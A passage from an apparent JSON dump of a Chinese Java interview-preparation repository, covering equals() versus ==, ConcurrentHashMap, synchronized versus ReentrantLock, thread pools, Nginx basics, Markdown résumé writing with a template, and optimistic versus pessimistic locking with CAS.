它的作用也是判断两个对象是否相等。但它一般有两种使用情况：\n\n-  情况1：类没有覆盖equals()方法。则通过equals()比较该类的两个对象时，等价于通过“==”比较这两个对象。\n-  情况2：类覆盖了equals()方法。一般，我们都覆盖equals()方法来两个对象的内容相等；若它们的内容相等，则返回true(即，认为这两个对象相等)。\n\n\n**举个例子：**\n\n```java\npublic class test1 {\n    public static void main(String[] args) {\n        String a = new String(\"ab\"); // a 为一个引用\n        String b = new String(\"ab\"); // b为另一个引用,对象的内容一样\n        String aa = \"ab\"; // 放在常量池中\n        String bb = \"ab\"; // 从常量池中查找\n        if (aa == bb) // true\n            System.out.println(\"aa==bb\");\n        if (a == b) // false，非同一对象\n            System.out.println(\"a==b\");\n        if (a.equals(b)) // true\n            System.out.println(\"aEQb\");\n        if (42 == 42.0) { // true\n            System.out.println(\"true\");\n        }\n    }\n}\n```\n\n**说明：**\n\n- String中的equals方法是被重写过的，因为object的equals方法是比较的对象的内存地址，而String的equals方法比较的是对象的值。\n- 当创建String类型的对象时，虚拟机会在常量池中查找有没有已经存在的值和要创建的值相同的对象，如果有就把它赋给当前引用。如果没有就在常量池中重新创建一个String对象。\n\n> 在[【备战春招/秋招系列5】美团面经总结进阶篇 （附详解答案）](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484625&idx=1&sn=9c4fa1f7d4291a5fbd7daa44bac2b012&chksm=fd9852b0caefdba6edcf9a827aa4a17ddc97bf6ad2e5ee6f7e1aa1b443b54444d05d2b76732b&token=723699735&lang=zh_CN#rd) 这篇文章中，我们已经提到了一下关于 HashMap 在面试中常见的问题：HashMap 的底层实现、简单讲一下自己对于红黑树的理解、红黑树这么优秀，为何不直接使用红黑树得了、HashMap 和 Hashtable 的区别/HashSet 和 HashMap 区别。HashMap 和 ConcurrentHashMap 这俩兄弟在一般只要面试中问到集合相关的问题就一定会被问到，所以各位务必引起重视！\n\n## 2 ConcurrentHashMap 相关问题\n\n### 2.1 ConcurrentHashMap 和 Hashtable 的区别\n\nConcurrentHashMap 和 Hashtable 的区别主要体现在实现线程安全的方式上不同。\n\n- **底层数据结构：** JDK1.7的 ConcurrentHashMap 底层采用 **分段的数组+链表** 实现，JDK1.8 采用的数据结构跟HashMap1.8的结构一样，数组+链表/红黑二叉树。Hashtable 和 JDK1.8 之前的 HashMap 的底层数据结构类似都是采用 **数组+链表** 的形式，数组是 HashMap 的主体，链表则是主要为了解决哈希冲突而存在的；\n- **实现线程安全的方式（重要）：** ① **在JDK1.7的时候，ConcurrentHashMap（分段锁）** 对整个桶数组进行了分割分段(Segment)，每一把锁只锁容器其中一部分数据，多线程访问容器里不同数据段的数据，就不会存在锁竞争，提高并发访问率。（默认分配16个Segment，比Hashtable效率提高16倍。） **到了 JDK1.8 的时候已经摒弃了Segment的概念，而是直接用 Node 数组+链表+红黑树的数据结构来实现，并发控制使用 synchronized 和 CAS 来操作。（JDK1.6以后 对 synchronized锁做了很多优化）**  整个看起来就像是优化过且线程安全的 HashMap，虽然在JDK1.8中还能看到 Segment 的数据结构，但是已经简化了属性，只是为了兼容旧版本；② **Hashtable(同一把锁)** :使用 synchronized 来保证线程安全，效率非常低下。当一个线程访问同步方法时，其他线程也访问同步方法，可能会进入阻塞或轮询状态，如使用 put 添加元素，另一个线程不能使用 put 添加元素，也不能使用 get，竞争会越来越激烈效率越低。\n\n**两者的对比图：** \n\n图片来源：http://www.cnblogs.com/chengxiao/p/6842045.html\n\nHashTable:\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/50656681.jpg)\n\nJDK1.7的ConcurrentHashMap：\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/33120488.jpg)\nJDK1.8的ConcurrentHashMap（TreeBin: 红黑二叉树节点\nNode: 链表节点）：\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-22/97739220.jpg)\n\n###  2.2 ConcurrentHashMap线程安全的具体实现方式/底层具体实现\n\n#### JDK1.7(上面有示意图)\n\n首先将数据分为一段一段的存储，然后给每一段数据配一把锁，当一个线程占用锁访问其中一个段数据时，其他段的数据也能被其他线程访问。\n\n**ConcurrentHashMap 是由 Segment 数组结构和 HashEntry 数组结构组成**。\n\nSegment 实现了 ReentrantLock,所以 Segment 是一种可重入锁，扮演锁的角色。HashEntry 用于存储键值对数据。\n\n```java\nstatic class Segment<K,V> extends ReentrantLock implements Serializable {\n}\n```\n\n一个 ConcurrentHashMap 里包含一个 Segment 数组。Segment 的结构和HashMap类似，是一种数组和链表结构，一个 Segment 包含一个 HashEntry  数组，每个 HashEntry 是一个链表结构的元素，每个 Segment 守护着一个HashEntry数组里的元素，当对 HashEntry 数组的数据进行修改时，必须首先获得对应的 Segment的锁。\n\n#### JDK1.8(上面有示意图)\n\nConcurrentHashMap取消了Segment分段锁，采用CAS和synchronized来保证并发安全。数据结构跟HashMap1.8的结构类似，数组+链表/红黑二叉树。\n\nsynchronized只锁定当前链表或红黑二叉树的首节点，这样只要hash不冲突，就不会产生并发，效率又提升N倍。\n\n## 3 谈谈 synchronized 和 ReenTrantLock 的区别\n\n**① 两者都是可重入锁**\n\n两者都是可重入锁。“可重入锁”概念是：自己可以再次获取自己的内部锁。比如一个线程获得了某个对象的锁，此时这个对象锁还没有释放，当其再次想要获取这个对象的锁的时候还是可以获取的，如果不可锁重入的话，就会造成死锁。同一个线程每次获取锁，锁的计数器都自增1，所以要等到锁的计数器下降为0时才能释放锁。\n\n**② synchronized 依赖于 JVM 而 ReenTrantLock 依赖于 API**\n\nsynchronized 是依赖于 JVM 实现的，前面我们也讲到了 虚拟机团队在 JDK1.6 为 synchronized 关键字进行了很多优化，但是这些优化都是在虚拟机层面实现的，并没有直接暴露给我们。ReenTrantLock 是 JDK 层面实现的（也就是 API 层面，需要 lock() 和 unlock 方法配合 try/finally 语句块来完成），所以我们可以通过查看它的源代码，来看它是如何实现的。\n\n**③ ReenTrantLock 比 synchronized 增加了一些高级功能**\n\n相比synchronized，ReenTrantLock增加了一些高级功能。主要来说主要有三点：**①等待可中断；②可实现公平锁；③可实现选择性通知（锁可以绑定多个条件）**\n\n- **ReenTrantLock提供了一种能够中断等待锁的线程的机制**，通过lock.lockInterruptibly()来实现这个机制。也就是说正在等待的线程可以选择放弃等待，改为处理其他事情。\n- **ReenTrantLock可以指定是公平锁还是非公平锁。而synchronized只能是非公平锁。所谓的公平锁就是先等待的线程先获得锁。** ReenTrantLock默认情况是非公平的，可以通过 ReenTrantLock类的`ReentrantLock(boolean fair)`构造方法来制定是否是公平的。\n- synchronized关键字与wait()和notify/notifyAll()方法相结合可以实现等待/通知机制，ReentrantLock类当然也可以实现，但是需要借助于Condition接口与newCondition() 方法。Condition是JDK1.5之后才有的，它具有很好的灵活性，比如可以实现多路通知功能也就是在一个Lock对象中可以创建多个Condition实例（即对象监视器），**线程对象可以注册在指定的Condition中，从而可以有选择性的进行线程通知，在调度线程上更加灵活。 在使用notify/notifyAll()方法进行通知时，被通知的线程是由 JVM 选择的，用ReentrantLock类结合Condition实例可以实现“选择性通知”** ，这个功能非常重要，而且是Condition接口默认提供的。而synchronized关键字就相当于整个Lock对象中只有一个Condition实例，所有的线程都注册在它一个身上。如果执行notifyAll()方法的话就会通知所有处于等待状态的线程这样会造成很大的效率问题，而Condition实例的signalAll()方法 只会唤醒注册在该Condition实例中的所有等待线程。\n\n如果你想使用上述功能，那么选择ReenTrantLock是一个不错的选择。\n\n**④ 两者的性能已经相差无几**\n\n在JDK1.6之前，synchronized 的性能是比 ReenTrantLock 差很多。具体表示为：synchronized 关键字吞吐量岁线程数的增加，下降得非常严重。而ReenTrantLock 基本保持一个比较稳定的水平。我觉得这也侧面反映了， synchronized 关键字还有非常大的优化余地。后续的技术发展也证明了这一点，我们上面也讲了在 JDK1.6 之后 JVM 团队对 synchronized 关键字做了很多优化。JDK1.6 之后，synchronized 和 ReenTrantLock 的性能基本是持平了。所以网上那些说因为性能才选择 ReenTrantLock 的文章都是错的！JDK1.6之后，性能已经不是选择synchronized和ReenTrantLock的影响因素了！而且虚拟机在未来的性能改进中会更偏向于原生的synchronized，所以还是提倡在synchronized能满足你的需求的情况下，优先考虑使用synchronized关键字来进行同步！优化后的synchronized和ReenTrantLock一样，在很多地方都是用到了CAS操作。\n\n\n## 4 线程池了解吗?\n\n\n### 4.1 为什么要用线程池?\n\n线程池提供了一种限制和管理资源（包括执行一个任务）。 每个线程池还维护一些基本统计信息，例如已完成任务的数量。 \n\n这里借用《Java并发编程的艺术》提到的来说一下使用线程池的好处：\n\n- **降低资源消耗。** 通过重复利用已创建的线程降低线程创建和销毁造成的消耗。\n- **提高响应速度。** 当任务到达时，任务可以不需要的等到线程创建就能立即执行。\n- **提高线程的可管理性。** 线程是稀缺资源，如果无限制的创建，不仅会消耗系统资源，还会降低系统的稳定性，使用线程池可以进行统一的分配，调优和监控。\n\n### 4.2 Java 提供了哪几种线程池?他们各自的使用场景是什么?\n\n#### Java 主要提供了下面4种线程池\n\n- **FixedThreadPool：** 该方法返回一个固定线程数量的线程池。该线程池中的线程数量始终不变。当有一个新的任务提交时，线程池中若有空闲线程，则立即执行。若没有，则新的任务会被暂存在一个任务队列中，待有线程空闲时，便处理在任务队列中的任务。\n- **SingleThreadExecutor：** 方法返回一个只有一个线程的线程池。若多余一个任务被提交到该线程池，任务会被保存在一个任务队列中，待线程空闲，按先入先出的顺序执行队列中的任务。\n- **CachedThreadPool：** 该方法返回一个可根据实际情况调整线程数量的线程池。线程池的线程数量不确定，但若有空闲线程可以复用，则会优先使用可复用的线程。若所有线程均在工作，又有新的任务提交，则会创建新的线程处理任务。所有线程在当前任务执行完毕后，将返回线程池进行复用。\n- **ScheduledThreadPoolExecutor：** 主要用来在给定的延迟后运行任务，或者定期执行任务。ScheduledThreadPoolExecutor又分为：ScheduledThreadPoolExecutor（包含多个线程）和SingleThreadScheduledExecutor （只包含一个线程）两种。\n\n#### 各种线程池的适用场景介绍\n\n- **FixedThreadPool：** 适用于为了满足资源管理需求，而需要限制当前线程数量的应用场景。它适用于负载比较重的服务器；\n- **SingleThreadExecutor：** 适用于需要保证顺序地执行各个任务并且在任意时间点，不会有多个线程是活动的应用场景。\n- **CachedThreadPool：** 适用于执行很多的短期异步任务的小程序，或者是负载较轻的服务器；\n- **ScheduledThreadPoolExecutor：** 适用于需要多个后台执行周期任务，同时为了满足资源管理需求而需要限制后台线程的数量的应用场景，\n- **SingleThreadScheduledExecutor：** 适用于需要单个后台线程执行周期任务，同时保证顺序地执行各个任务的应用场景。\n\n### 4.3 创建的线程池的方式\n\n**（1） 使用 Executors 创建**\n\n我们上面刚刚提到了 Java 提供的几种线程池，通过 Executors 工具类我们可以很轻松的创建我们上面说的几种线程池。但是实际上我们一般都不是直接使用Java提供好的线程池，另外在《阿里巴巴Java开发手册》中强制线程池不允许使用 Executors 去创建，而是通过 ThreadPoolExecutor 构造函数 的方式，这样的处理方式让写的同学更加明确线程池的运行规则，规避资源耗尽的风险。\n\n```java\nExecutors 返回线程池对象的弊端如下：\n\nFixedThreadPool 和 SingleThreadExecutor ： 允许请求的队列长度为 Integer.MAX_VALUE,可能堆积大量的请求，从而导致OOM。\nCachedThreadPool 和 ScheduledThreadPool ： 允许创建的线程数量为 Integer.MAX_VALUE ，可能会创建大量线程，从而导致OOM。\n\n```\n**（2） ThreadPoolExecutor的构造函数创建**\n\n\n我们可以自己直接调用 ThreadPoolExecutor 的构造函数来自己创建线程池。在创建的同时，给 BlockQueue 指定容量就可以了。示例如下：\n\n```java\nprivate static ExecutorService executor = new ThreadPoolExecutor(13, 13,\n        60L, TimeUnit.SECONDS,\n        new ArrayBlockingQueue(13));\n```\n\n这种情况下，一旦提交的线程数超过当前可用线程数时，就会抛出java.util.concurrent.RejectedExecutionException，这是因为当前线程池使用的队列是有边界队列，队列已经满了便无法继续处理新的请求。但是异常（Exception）总比发生错误（Error）要好。\n\n**（3） 使用开源类库**\n\nHollis 大佬之前在他的文章中也提到了：“除了自己定义ThreadPoolExecutor外。还有其他方法。这个时候第一时间就应该想到开源类库，如apache和guava等。”他推荐使用guava提供的ThreadFactoryBuilder来创建线程池。下面是参考他的代码示例：\n\n```java\npublic class ExecutorsDemo {\n\n    private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilder()\n        .setNameFormat(\"demo-pool-%d\").build();\n\n    private static ExecutorService pool = new ThreadPoolExecutor(5, 200,\n        0L, TimeUnit.MILLISECONDS,\n        new LinkedBlockingQueue<Runnable>(1024), namedThreadFactory, new ThreadPoolExecutor.AbortPolicy());\n\n    public static void main(String[] args) {\n\n        for (int i = 0; i < Integer.MAX_VALUE; i++) {\n            pool.execute(new SubThread());\n        }\n    }\n}\n```\n\n通过上述方式创建线程时，不仅可以避免OOM的问题，还可以自定义线程名称，更加方便的出错的时候溯源。\n\n## 5 Nginx \n\n### 5.1 简单介绍一下Nginx \n\nNginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器。 Nginx  主要提供反向代理、负载均衡、动静分离(静态资源服务)等服务。下面我简单地介绍一下这些名词。\n\n#### 反向代理\n\n谈到反向代理，就不得不提一下正向代理。无论是正向代理，还是反向代理，说到底，就是代理模式的衍生版本罢了\n\n- **正向代理：**某些情况下，代理我们用户去访问服务器，需要用户手动的设置代理服务器的ip和端口号。正向代理比较常见的一个例子就是 VPN了。\n- **反向代理：** 是用来代理服务器的，代理我们要访问的目标服务器。代理服务器接受请求，然后将请求转发给内部网络的服务器，并将从服务器上得到的结果返回给客户端，此时代理服务器对外就表现为一个服务器。\n\n通过下面两幅图，大家应该更好理解（图源：http://blog.720ui.com/2016/nginx_action_05_proxy/）：\n\n![正向代理](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-15/60925795.jpg)\n\n![反向代理](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-11-15/62563930.jpg)\n\n所以，简单的理解，就是正向代理是为客户端做代理，代替客户端去访问服务器，而反向代理是为服务器做代理，代替服务器接受客户端请求。\n\n#### 负载均衡\n\n在高并发情况下需要使用，其原理就是将并发请求分摊到多个服务器执行，减轻每台服务器的压力，多台服务器(集群)共同完成工作任务，从而提高了数据的吞吐量。\n\nNginx支持的weight轮询（默认）、ip_hash、fair、url_hash这四种负载均衡调度算法，感兴趣的可以自行查阅。\n\n负载均衡相比于反向代理更侧重的时将请求分担到多台服务器上去，所以谈论负载均衡只有在提供某服务的服务器大于两台时才有意义。\n\n#### 动静分离\n\n动静分离是让动态网站里的动态网页根据一定规则把不变的资源和经常变的资源区分开来，动静资源做好了拆分以后，我们就可以根据静态资源的特点将其做缓存操作，这就是网站静态化处理的核心思路。\n\n### 5.2 为什么要用 Nginx?\n\n> 这部分内容参考极客时间—[Nginx核心知识100讲的内容](https://time.geekbang.org/course/intro/138?code=AycjiiQk6uQRxnVJzBupFkrGkvZlmYELPRsZbWzaAHE=)。\n\n如果面试官问你这个问题，就一定想看你知道 Nginx 服务器的一些优点吗。\n\nNginx 有以下5个优点：\n\n1. 高并发、高性能（这是其他web服务器不具有的）\n2. 可扩展性好（模块化设计，第三方插件生态圈丰富）\n3. 高可靠性（可以在服务器行持续不间断的运行数年）\n4. 热部署（这个功能对于 Nginx 来说特别重要，热部署指可以在不停止 Nginx服务的情况下升级 Nginx）\n5. BSD许可证（意味着我们可以将源代码下载下来进行修改然后使用自己的版本）\n\n### 5.3 Nginx 的四个主要组成部分了解吗?\n\n> 这部分内容参考极客时间—[Nginx核心知识100讲的内容](https://time.geekbang.org/course/intro/138?code=AycjiiQk6uQRxnVJzBupFkrGkvZlmYELPRsZbWzaAHE=)。\n\n- Nginx 二进制可执行文件：由各模块源码编译出一个文件\n- Nginx.conf 配置文件：控制Nginx 行为\n- acess.log 访问日志： 记录每一条HTTP请求信息\n- error.log 错误日志:定位问题\n"
  },
  {
    "path": "docs/essential-content-for-interview/手把手教你用Markdown写一份高质量的简历.md",
    "content": "## Markdown 简历模板样式一览\n![](https://user-gold-cdn.xitu.io/2018/9/3/1659f91e4843bd67?w=800&h=1737&f=png&s=97357)\n**可以看到我把联系方式放在第一位，因为公司一般会与你联系，所以把联系方式放在第一位也是为了方便联系考虑。**\n\n## 为什么要用 Markdown 写简历？\n\nMarkdown 语法简单，易于上手。使用正确的 Markdown 语言写出来的简历不论是在排版还是格式上都比较干净，易于阅读。另外，使用 Markdown 写简历也会给面试官一种你比较专业的感觉。\n\n除了这些，我觉得使用 Markdown 写简历可以很方便将其与PDF、HTML、PNG格式之间转换。后面我会介绍到转换方法，只需要一条命令你就可以实现 Markdown 到 PDF、HTML 与 PNG之间的无缝切换。\n\n> 下面的一些内容我在之前的一篇文章中已经提到过，这里再说一遍，最后会分享如何实现Markdown 到 PDF、HTML、PNG格式之间转换。\n\n## 为什么说简历很重要？\n\n假如你是网申，你的简历必然会经过HR的筛选，一张简历HR可能也就花费10秒钟看一下，然后HR就会决定你这一关是Fail还是Pass。\n\n假如你是内推，如果你的简历没有什么优势的话，就算是内推你的人再用心，也无能为力。\n\n另外，就算你通过了筛选，后面的面试中，面试官也会根据你的简历来判断你究竟是否值得他花费很多时间去面试。\n\n## 写简历的两大法则\n\n目前写简历的方式有两种普遍被认可，一种是 STAR， 一种是 FAB。\n\n**STAR法则（Situation Task Action Result）：**\n\n- **Situation：** 事情是在什么情况下发生；\n- **Task:：** 你是如何明确你的任务的；\n- **Action：** 针对这样的情况分析，你采用了什么行动方式；\n- **Result：** 结果怎样，在这样的情况下你学习到了什么。\n\n**FAB 法则（Feature Advantage Benefit）：**\n\n- **Feature：** 是什么；\n- **Advantage：** 比别人好在哪些地方；\n- **Benefit：** 如果雇佣你，招聘方会得到什么好处。\n\n## 项目经历怎么写？\n简历上有一两个项目经历很正常，但是真正能把项目经历很好的展示给面试官的非常少。对于项目经历大家可以考虑从如下几点来写：\n\n1. 对项目整体设计的一个感受\n2. 在这个项目中你负责了什么、做了什么、担任了什么角色\n3. 从这个项目中你学会了那些东西，使用到了那些技术，学会了那些新技术的使用\n4. 另外项目描述中，最好可以体现自己的综合素质，比如你是如何协调项目组成员协同开发的或者在遇到某一个棘手的问题的时候你是如何解决的。\n\n## 专业技能该怎么写？\n先问一下你自己会什么，然后看看你意向的公司需要什么。一般HR可能并不太懂技术，所以他在筛选简历的时候可能就盯着你专业技能的关键词来看。对于公司有要求而你不会的技能，你可以花几天时间学习一下，然后在简历上可以写上自己了解这个技能。比如你可以这样写：\n\n- Dubbo：精通\n- Spring：精通\n- Docker：掌握\n-  SOA分布式开发 ：掌握\n- Spring Cloud:了解\n\n## 简历模板分享\n\n**开源程序员简历模板**： [https://github.com/geekcompany/ResumeSample](https://github.com/geekcompany/ResumeSample)（包括PHP程序员简历模板、iOS程序员简历模板、Android程序员简历模板、Web前端程序员简历模板、Java程序员简历模板、C/C++程序员简历模板、NodeJS程序员简历模板、架构师简历模板以及通用程序员简历模板）\n\n**上述简历模板的改进版本：** [https://github.com/Snailclimb/Java-Guide/blob/master/面试必备/简历模板.md](https://github.com/Snailclimb/Java-Guide/blob/master/面试必备/简历模板.md) \n\n## 其他的一些小tips\n\n1. 尽量避免主观表述，少一点语义模糊的形容词，尽量要简洁明了，逻辑结构清晰。\n2. 注意排版（不需要花花绿绿的），尽量使用Markdown语法。\n3. 如果自己有博客或者个人技术栈点的话，写上去会为你加分很多。\n4. 如果自己的Github比较活跃的话，写上去也会为你加分很多。\n5. 注意简历真实性，一定不要写自己不会的东西，或者带有欺骗性的内容\n6. 项目经历建议以时间倒序排序，另外项目经历不在于多，而在于有亮点。\n7. 如果内容过多的话，不需要非把内容压缩到一页，保持排版干净整洁就可以了。\n8. 简历最后最好能加上：“感谢您花时间阅读我的简历，期待能有机会和您共事。”这句话，显的你会很有礼貌。\n\n\n> 我们刚刚讲了很多关于如何写简历的内容并且分享了一份 Markdown 格式的简历文档。下面我们来看看如何实现 Markdown 到 HTML格式、PNG格式之间转换。\n## Markdown 到 HTML格式、PNG格式之间转换 \n\n网上很难找到一个比较方便并且效果好的转换方法，最后我是通过 Visual Studio Code 的 Markdown PDF 插件完美解决了这个问题！\n\n### 安装 Markdown PDF 插件\n\n**① 打开Visual Studio Code ，按快捷键 F1，选择安装扩展选项**\n\n![① 打开Visual Studio Code ，按快捷键 F1，选择安装扩展选项](https://user-gold-cdn.xitu.io/2018/9/3/1659f9a44103e551?w=1366&h=688&f=png&s=104435)\n\n**② 搜索 “Markdown PDF” 插件并安装 ，然后重启**\n\n![② 搜索 “Markdown PDF” 插件并安装 ，然后重启](https://user-gold-cdn.xitu.io/2018/9/3/1659f9dbef0d06fb?w=1280&h=420&f=png&s=70510)\n\n### 使用方法\n\n随便打开一份 Markdown 文件 点击F1，然后输入export即可！\n\n![](https://user-gold-cdn.xitu.io/2018/9/3/1659fa0292906150?w=1289&h=468&f=png&s=72178)\n\n"
  },
  {
    "path": "docs/essential-content-for-interview/简历模板.md",
    "content": "# 联系方式\n\n- 手机：\n- Email：\n- 微信：\n\n# 个人信息\n\n - 姓名/性别/出生日期 \n - 本科/xxx计算机系xxx专业/英语六级\n - 技术博客：[http://snailclimb.top/](http://snailclimb.top/) \n - 荣誉奖励：获得了什么奖（获奖时间）\n - Github：[https://github.com/Snailclimb ](https://github.com/Snailclimb)\n - Github Resume: [http://resume.github.io/?Snailclimb](http://resume.github.io/?Snailclimb)\n - 期望职位：Java 研发程序员/大数据工程师(Java后台开发为首选)\n - 期望城市：xxx城市\n \n\n# 项目经历\n\n## xxx项目\n\n### 项目描述\n\n介绍该项目是做什么的、使用到了什么技术以及你对项目整体设计的一个感受\n\n### 责任描述\n\n主要可以从下面三点来写：\n\n1. 在这个项目中你负责了什么、做了什么、担任了什么角色\n2. 从这个项目中你学会了那些东西，使用到了那些技术，学会了那些新技术的使用\n3. 另外项目描述中，最好可以体现自己的综合素质，比如你是如何协调项目组成员协同开发的或者在遇到某一个棘手的问题的时候你是如何解决的。\n\n# 开源项目和技术文章\n\n## 开源项目\n\n- [Java-Guide](https://github.com/Snailclimb/Java-Guide) ：一份涵盖大部分Java程序员所需要掌握的核心知识。Star:3.9K; Fork:0.9k。\n\n\n## 技术文章推荐\n\n- [可能是把Java内存区域讲的最清楚的一篇文章](https://juejin.im/post/5b7d69e4e51d4538ca5730cb)\n- [搞定JVM垃圾回收就是这么简单](https://juejin.im/post/5b85ea54e51d4538dd08f601)\n- [前端&后端程序员必备的Linux基础知识](https://juejin.im/post/5b3b19856fb9a04fa42f8c71)\n- [可能是把Docker的概念讲的最清楚的一篇文章](https://juejin.im/post/5b260ec26fb9a00e8e4b031a)\n\n\n# 校园经历（可选）\n\n## 2016-2017\n\n担任学校社团-致深社副会长，主要负责团队每周活动的组建以及每周例会的主持。\n\n## 2017-2018\n 担任学校传媒组织：“长江大学在线信息传媒”的副站长以及安卓组成员。主要负责每周例会主持、活动策划以及学校校园通APP的研发工作。\n \n \n# 技能清单\n\n以下均为我熟练使用的技能\n\n- Web开发：PHP/Hack/Node\n- Web框架：ThinkPHP/Yaf/Yii/Lavarel/LazyPHP\n- 前端框架：Bootstrap/AngularJS/EmberJS/HTML5/Cocos2dJS/ionic\n- 前端工具：Bower/Gulp/SaSS/LeSS/PhoneGap\n- 数据库相关：MySQL/PgSQL/PDO/SQLite\n- 版本管理、文档和自动化部署工具：Svn/Git/PHPDoc/Phing/Composer\n- 单元测试：PHPUnit/SimpleTest/Qunit\n- 云和开放平台：SAE/BAE/AWS/微博开放平台/微信应用开发\n\n# 自我评价（可选）\n\n自我发挥。切记不要过度自夸！！！\n\n\n### 感谢您花时间阅读我的简历，期待能有机会和您共事。\n\n"
  },
  {
    "path": "docs/essential-content-for-interview/面试必备之乐观锁与悲观锁.md",
    "content": "### 何谓悲观锁与乐观锁\n\n> 乐观锁对应于生活中乐观的人总是想着事情往好的方向发展，悲观锁对应于生活中悲观的人总是想着事情往坏的方向发展。这两种人各有优缺点，不能不以场景而定说一种人好于另外一种人。\n\n#### 悲观锁\n\n总是假设最坏的情况，每次去拿数据的时候都认为别人会修改，所以每次在拿数据的时候都会上锁，这样别人想拿这个数据就会阻塞直到它拿到锁（**共享资源每次只给一个线程使用，其它线程阻塞，用完后再把资源转让给其它线程**）。传统的关系型数据库里边就用到了很多这种锁机制，比如行锁，表锁等，读锁，写锁等，都是在做操作之前先上锁。Java中`synchronized`和`ReentrantLock`等独占锁就是悲观锁思想的实现。\n\n\n#### 乐观锁\n\n总是假设最好的情况，每次去拿数据的时候都认为别人不会修改，所以不会上锁，但是在更新的时候会判断一下在此期间别人有没有去更新这个数据，可以使用版本号机制和CAS算法实现。**乐观锁适用于多读的应用类型，这样可以提高吞吐量**，像数据库提供的类似于**write_condition机制**，其实都是提供的乐观锁。在Java中`java.util.concurrent.atomic`包下面的原子变量类就是使用了乐观锁的一种实现方式**CAS**实现的。\n\n#### 两种锁的使用场景\n\n从上面对两种锁的介绍，我们知道两种锁各有优缺点，不可认为一种好于另一种，像**乐观锁适用于写比较少的情况下（多读场景）**，即冲突真的很少发生的时候，这样可以省去了锁的开销，加大了系统的整个吞吐量。但如果是多写的情况，一般会经常产生冲突，这就会导致上层应用会不断的进行retry，这样反倒是降低了性能，所以**一般多写的场景下用悲观锁就比较合适。**\n\n\n### 乐观锁常见的两种实现方式\n\n> **乐观锁一般会使用版本号机制或CAS算法实现。**\n\n#### 1. 版本号机制\n\n一般是在数据表中加上一个数据版本号version字段，表示数据被修改的次数，当数据被修改时，version值会加一。当线程A要更新数据值时，在读取数据的同时也会读取version值，在提交更新时，若刚才读取到的version值为当前数据库中的version值相等时才更新，否则重试更新操作，直到更新成功。\n\n**举一个简单的例子：**\n假设数据库中帐户信息表中有一个 version 字段，当前值为 1 ；而当前帐户余额字段（ balance ）为 $100 。\n\n1. 操作员 A 此时将其读出（ version=1 ），并从其帐户余额中扣除 $50（ $100-$50 ）。\n2. 在操作员 A 操作的过程中，操作员B 也读入此用户信息（ version=1 ），并从其帐户余额中扣除 $20 （ $100-$20 ）。\n3. 操作员 A 完成了修改工作，将数据版本号加一（ version=2 ），连同帐户扣除后余额（ balance=$50 ），提交至数据库更新，此时由于提交数据版本大于数据库记录当前版本，数据被更新，数据库记录 version 更新为 2 。\n4. 操作员 B 完成了操作，也将版本号加一（ version=2 ）试图向数据库提交数据（ balance=$80 ），但此时比对数据库记录版本时发现，操作员 B 提交的数据版本号为 2 ，数据库记录当前版本也为 2 ，不满足 “ 提交版本必须大于记录当前版本才能执行更新 “ 的乐观锁策略，因此，操作员 B 的提交被驳回。\n\n这样，就避免了操作员 B 用基于 version=1 的旧数据修改的结果覆盖操作员A 的操作结果的可能。\n\n####  2. CAS算法\n\n即**compare and swap（比较与交换）**，是一种有名的**无锁算法**。无锁编程，即不使用锁的情况下实现多线程之间的变量同步，也就是在没有线程被阻塞的情况下实现变量的同步，所以也叫非阻塞同步（Non-blocking Synchronization）。**CAS算法**涉及到三个操作数\n\n- 需要读写的内存值 V \n- 进行比较的值 A \n- 拟写入的新值 B\n\n当且仅当 V 的值等于 A时，CAS通过原子方式用新值B来更新V的值，否则不会执行任何操作（比较和替换是一个原子操作）。一般情况下是一个**自旋操作**，即**不断的重试**。\n\n关于自旋锁，大家可以看一下这篇文章，非常不错：[《\n面试必备之深入理解自旋锁》](https://blog.csdn.net/qq_34337272/article/details/81252853)\n\n### 乐观锁的缺点\n\n>  ABA 问题是乐观锁一个常见的问题\n\n#### 1 ABA 问题\n\n如果一个变量V初次读取的时候是A值，并且在准备赋值的时候检查到它仍然是A值，那我们就能说明它的值没有被其他线程修改过了吗？很明显是不能的，因为在这段时间它的值可能被改为其他值，然后又改回A，那CAS操作就会误认为它从来没有被修改过。这个问题被称为CAS操作的 **\"ABA\"问题。**\n\nJDK 1.5 以后的 `AtomicStampedReference 类`就提供了此种能力，其中的 `compareAndSet 方法`就是首先检查当前引用是否等于预期引用，并且当前标志是否等于预期标志，如果全部相等，则以原子方式将该引用和该标志的值设置为给定的更新值。\n\n#### 2 循环时间长开销大\n**自旋CAS（也就是不成功就一直循环执行直到成功）如果长时间不成功，会给CPU带来非常大的执行开销。** 如果JVM能支持处理器提供的pause指令那么效率会有一定的提升，pause指令有两个作用，第一它可以延迟流水线执行指令（de-pipeline）,使CPU不会消耗过多的执行资源，延迟的时间取决于具体实现的版本，在一些处理器上延迟时间是零。第二它可以避免在退出循环的时候因内存顺序冲突（memory order violation）而引起CPU流水线被清空（CPU pipeline flush），从而提高CPU的执行效率。\n\n#### 3 只能保证一个共享变量的原子操作\n\nCAS 只对单个共享变量有效，当操作涉及跨多个共享变量时 CAS 无效。但是从 JDK 1.5开始，提供了`AtomicReference类`来保证引用对象之间的原子性，你可以把多个变量放在一个对象里来进行 CAS 操作.所以我们可以使用锁或者利用`AtomicReference类`把多个共享变量合并成一个共享变量来操作。\n\n\n\n### CAS与synchronized的使用情景\n\n> **简单的来说CAS适用于写比较少的情况下（多读场景，冲突一般较少），synchronized适用于写比较多的情况下（多写场景，冲突一般较多）**\n\n1. 对于资源竞争较少（线程冲突较轻）的情况，使用synchronized同步锁进行线程阻塞和唤醒切换以及用户态内核态间的切换操作额外浪费消耗cpu资源；而CAS基于硬件实现，不需要进入内核，不需要切换线程，操作自旋几率较少，因此可以获得更高的性能。\n2. 对于资源竞争严重（线程冲突严重）的情况，CAS自旋的概率会比较大，从而浪费更多的CPU资源，效率低于synchronized。\n\n\n补充： Java并发编程这个领域中synchronized关键字一直都是元老级的角色，很久之前很多人都会称它为 **“重量级锁”** 。但是，在JavaSE 1.6之后进行了主要包括为了减少获得锁和释放锁带来的性能消耗而引入的 **偏向锁** 和 **轻量级锁** 